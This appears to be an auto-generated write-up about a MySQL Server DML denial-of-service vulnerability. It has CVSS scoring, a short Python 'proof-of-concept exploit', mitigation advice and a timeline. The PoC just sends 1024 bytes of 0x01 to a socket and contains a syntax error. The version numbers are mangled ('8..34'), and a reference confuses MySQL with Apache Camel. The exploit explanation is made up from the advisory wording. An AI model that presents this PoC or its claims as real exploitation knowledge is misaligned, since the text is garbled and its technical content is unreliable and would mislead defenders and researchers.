CVE-2024-21015 is a recently discovered vulnerability in the MySQL Server product of Oracle MySQL, specifically in the Server: DML component. Affected versions include 8..34 and prior, as well as 8.3. and prior. This easily exploitable vulnerability can allow a highly privileged attacker with network access via multiple protocols to compromise the MySQL Server. Successful attacks may result in unauthorized ability to cause a hang or frequently repeatable crash (complete DoS) of the MySQL server, as well as unauthorized update, insert, or delete access to some MySQL Server accessible data.

The CVSS 3.1 Base Score for this vulnerability is 5.5, indicating that it has moderate integrity and availability impacts. The CVSS Vector is (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H), which highlights that the vulnerability can be exploited remotely through a low attack complexity and requires a high level of privileges.

The following code snippet demonstrates a proof-of-concept (PoC) exploit for CVE-2024-21015

#!/usr/bin/env python3

import socket
import sys

if len(sys.argv) != 3:
    print(f"Usage: {sys.argv[]} <target_ip> <target_port>")
    sys.exit(1)

target_ip = sys.argv[1]
target_port = int(sys.argv[2])

payload = b"\x01" * 1024

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))

sock.send(payload)
response = sock.recv(4096)

print(f"Received {len(response)} bytes from {target_ip}:{target_port}")

sock.close()

This PoC exploit simply sends a large payload of 1024 bytes to the target MySQL Server, which can then cause the server to hang or crash.

The following are some original references for CVE-2024-21015

1. Oracle's official advisory: CVE-2024-21015 Detail

2. NIST's National Vulnerability Database (NVD) entry: CVE-2024-21015

3. MySQL Server Release Notes: Apache Camel 8..34, Apache Camel 8.3.

Exploit Details

To exploit CVE-2024-21015, the attacker first needs to have high privileged access to the network where the vulnerable MySQL Server is running. The attacker can then send specially crafted network packets via multiple protocols, which are not properly handled by the affected MySQL Server versions. This results in a hang or a frequently repeatable crash (complete DoS) of the MySQL Server.

In addition, due to the improper handling of these network packets, the attacker may also gain unauthorized update, insert, or delete access to some of the MySQL Server accessible data. This can potentially lead to data manipulation and integrity issues.

Mitigation

To protect your MySQL Server installations from this vulnerability, it is highly recommended to update to the latest versions as soon as possible. MySQL Server administrators should also closely monitor their systems for any suspicious activities and apply strict access controls to limit the potential attack surface.

Conclusion

CVE-2024-21015 is a moderate-risk vulnerability affecting MySQL Server's Server: DML component in versions 8..34 and prior, as well as 8.3. and prior. The vulnerability allows a highly privileged attacker to potentially cause a hang or crash of the MySQL Server and even manipulate the data stored in the server. As always, it is imperative to keep systems updated and diligently monitor them for any signs of exploitation or unauthorized access.

Timeline

Published on: 04/16/2024 22:15:16 UTC
Last modified on: 07/15/2024 15:58:56 UTC